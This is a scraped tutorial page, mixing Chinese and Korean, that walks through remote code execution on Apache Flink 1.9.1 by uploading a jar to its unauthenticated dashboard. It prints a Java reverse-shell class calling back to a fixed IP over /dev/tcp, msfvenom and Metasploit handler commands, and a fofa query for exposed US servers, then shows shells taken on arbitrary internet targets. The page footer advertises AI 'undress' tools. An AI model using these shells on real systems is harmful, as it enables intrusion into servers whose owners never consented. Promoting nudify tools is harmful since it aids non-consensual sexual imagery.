Apache flink에 jar 패키지를 업로드하여 발생하는 원격 코드 실행 분석 예
漏洞描述:
2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。
影响范围
<= 1.9.1(最新版本)
环境搭建:
(1) 提前安装好java(需要java8以上)
(2) 下载flink-1.9.1
下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) 解压下载的压缩包:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) 进去到解压后的目录中,来到其bin目录下:
(5) 启动flink:
./start-cluster.sh
(6) 浏览器访问验证(默认端口为8081):
http://172.26.1.108:8081
出现上图即搭建成功.
(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后找到了解决方法)
开机自启设置
漏洞复现:
jar包制作步骤:
(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell
记得修改ip和端口:
代码:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>b.然后选择java-->Runnable JAR file</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>c.然后选择对应的java项目和导出路径以及导出文件名</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>图片</p> <p>这样就生成了一个反弹shell的jar包</p> <p>msf生成jar马:</p> <p>(1) 利用msfvenom来生成一个jar马:</p> <pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:
本地复现:
(1) 访问目标:
(2) 点击Submit New job,打开上传jar包的页面:
(3) 点击Add New选择我们制作好的jar包:
(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)
(5) 点击我们刚刚上传的jar包:
(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:
互联网站点:
fofa关键词:
"apache-flink-dashboard" && country="US"
(1) 임의의 대상 찾기:
(2) 새 작업 제출을 클릭하면 jar 패키지를 업로드할 수 있는 것을 볼 수 있습니다.
(3) flink 기능을 사용하여 jar 패키지를 업로드합니다. Jar 패키지 업로드:
(4) 업로드한 후 vps에서 포트를 모니터링합니다
(5) 그런 다음 브라우저로 돌아가서 방금 업로드한 jar 패키지를 선택하고 제출을 클릭하여 제출합니다. 우리 vps가 쉘을 성공적으로 수신한 것을 볼 수 있습니다
버그 수정:
화이트리스트 IP만 Apache Flink 서비스에 액세스하도록 방화벽 정책을 설정하고 웹에서 이 서비스에 대한 지원을 추가하는 것이 좋습니다. 프록시(예: Apache httpd) 다이제스트 인증.
항상 공식 홈페이지를 주의깊게 살펴보시고 새로운 버전이나 패치 업데이트를 기다려주세요
위 내용은 Apache flink에 jar 패키지를 업로드하여 발생하는 원격 코드 실행 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











jar 패키지를 eclipse로 가져오는 방법: 1. 새 Java 프로젝트를 생성합니다. 3. jar 패키지를 라이브러리 폴더에 복사합니다. 5. jar 패키지를 ; 6. 프로젝트 빌드 경로 구성 7. 가져오기 결과 확인 8. 기타 가져오기 방법 11. 라이브러리 유지 및 업데이트 자세한 소개: 1. 새 Java 프로젝트를 생성하고 Eclipse IDE를 시작한 다음 상단 메뉴 표시줄에서 "파일" 메뉴를 선택합니다.

Maven이 jar 패키지를 가져오는 단계는 다음과 같습니다. 2. Maven 프로젝트를 생성합니다. 4. 종속성 요소를 추가합니다. 5. 프로젝트를 빌드합니다. 7. 가져오기를 확인합니다. 자세한 소개: 1. jar 패키지를 다운로드합니다. 먼저 관련 웹사이트나 소스 코드 웨어하우스에서 필요한 jar 패키지를 다운로드합니다. 다운로드한 jar 패키지가 프로젝트와 호환되고 필수 버전 요구 사항을 충족하는지 확인합니다. . 아직 Maven 프로젝트가 없다면 먼저 프로젝트를 생성해야 합니다.

SparkStreaming과 Flink는 모두 서로 다른 기능을 갖춘 스트림 처리 프레임워크입니다. 프로그래밍 모델: SparkStreaming은 SparkRDD 모델을 기반으로 하는 반면 Flink에는 자체 스트리밍 API가 있습니다. 상태 관리: Flink에는 상태 관리가 내장되어 있지만 SparkStreaming에는 외부 솔루션이 필요합니다. 내결함성: Flink는 스냅샷을 기반으로 하고 SparkStreaming은 체크포인트를 기반으로 합니다. 확장성: Flink는 스트림 운영자 체인을 기반으로 하는 반면 SparkStreaming은 클러스터 확장을 기반으로 합니다. 실시간 데이터 집계 사용 사례에서 Flink는 일반적으로 더 나은 처리량을 제공하므로 SparkStreaming보다 성능이 더 좋습니다.

빅데이터 시대가 도래하면서 데이터 처리는 다양한 산업 분야에서 주목하고 해결해야 할 문제가 되었습니다. 고성능 데이터 처리 도구인 Flink의 출현은 우리에게 효율적이고 안정적이며 확장 가능한 솔루션을 제공합니다. 이 기사에서는 효율적인 데이터 흐름 처리를 위해 Go 언어에서 Flink를 사용하는 방법을 소개합니다. 1. Flink 소개 Apache Flink는 대규모 데이터를 처리하는 효율적이고 안정적이며 확장 가능한 방법을 제공하는 오픈 소스 분산 데이터 처리 플랫폼입니다.

제목: Maven 고급 튜토리얼: Jar 패키지 가져오기의 다양한 방법에 대한 심층 탐구 Maven은 Java 프로젝트 관리 도구로서 프로젝트 구성, 종속성 관리 등에 널리 사용됩니다. 실제 개발 과정에서 다양한 타사 라이브러리의 Jar 패키지를 사용하는 경우가 많으며, Jar 패키지를 효과적으로 가져오는 방법은 반드시 숙달해야 하는 기술이 되었습니다. 이 기사에서는 로컬 Jar 패키지, 원격 웨어하우스 Jar 패키지 및 사용자 정의 Jar 패키지 사용을 포함하여 Maven에서 Jar 패키지를 가져오는 방법을 자세히 살펴보고 구체적인 세부 정보를 제공합니다.

MySQL Jar 패키지 사용 가이드 및 주의 사항 MySQL은 일반적으로 사용되는 관계형 데이터베이스 관리 시스템으로 많은 Java 프로젝트에서 MySQL을 데이터 저장용 백엔드로 사용합니다. Java 프로젝트에서 MySQL 데이터베이스와 상호 작용하려면 MySQL에서 제공하는 Java 드라이버(예: Jar 패키지)를 사용해야 합니다. 이 기사에서는 MySQL Jar 패키지에 대한 사용 지침과 주의 사항을 소개하고 독자가 MySQL 드라이버를 더 잘 사용할 수 있도록 구체적인 코드 예제를 제공합니다. 1.엠

Maven 시작 가이드: Jar 패키지를 올바르게 가져오는 방법은 무엇입니까? Maven은 개발자가 프로젝트 종속성을 관리하고 프로젝트를 빌드하는 등을 도울 수 있는 강력한 프로젝트 관리 도구입니다. 프로젝트 개발 중에 일부 기능을 구현하기 위해 외부 Jar 패키지를 가져와야 하는 경우가 많습니다. 이 기사에서는 Maven을 사용하여 Jar 패키지를 올바르게 가져오는 방법을 소개하고 특정 코드 예제를 제공합니다. 먼저 Maven의 pom.xml 파일에 필요한 Jar 패키지에 대한 종속성을 추가해야 합니다. pom.xml에는

MySQL의 Jar 패키지는 MySQL 데이터베이스를 연결하고 운영하는 데 사용되는 Java 드라이버 패키지를 의미합니다. Java 개발에서는 Jar 패키지를 통해 MySQL 데이터베이스와의 상호 작용 기능을 구현해야 합니다. MySQL의 Jar 패키지는 개발자가 쉽게 MySQL 데이터베이스에 연결하고, SQL 문을 실행하고, 쿼리 결과를 얻고, 기타 작업을 수행할 수 있도록 하는 일련의 클래스와 메서드를 제공합니다. 정상적인 상황에서 개발자는 공식 웹사이트나 Maven 저장소 및 기타 채널을 통해 MySQL Jar 패키지를 다운로드한 다음
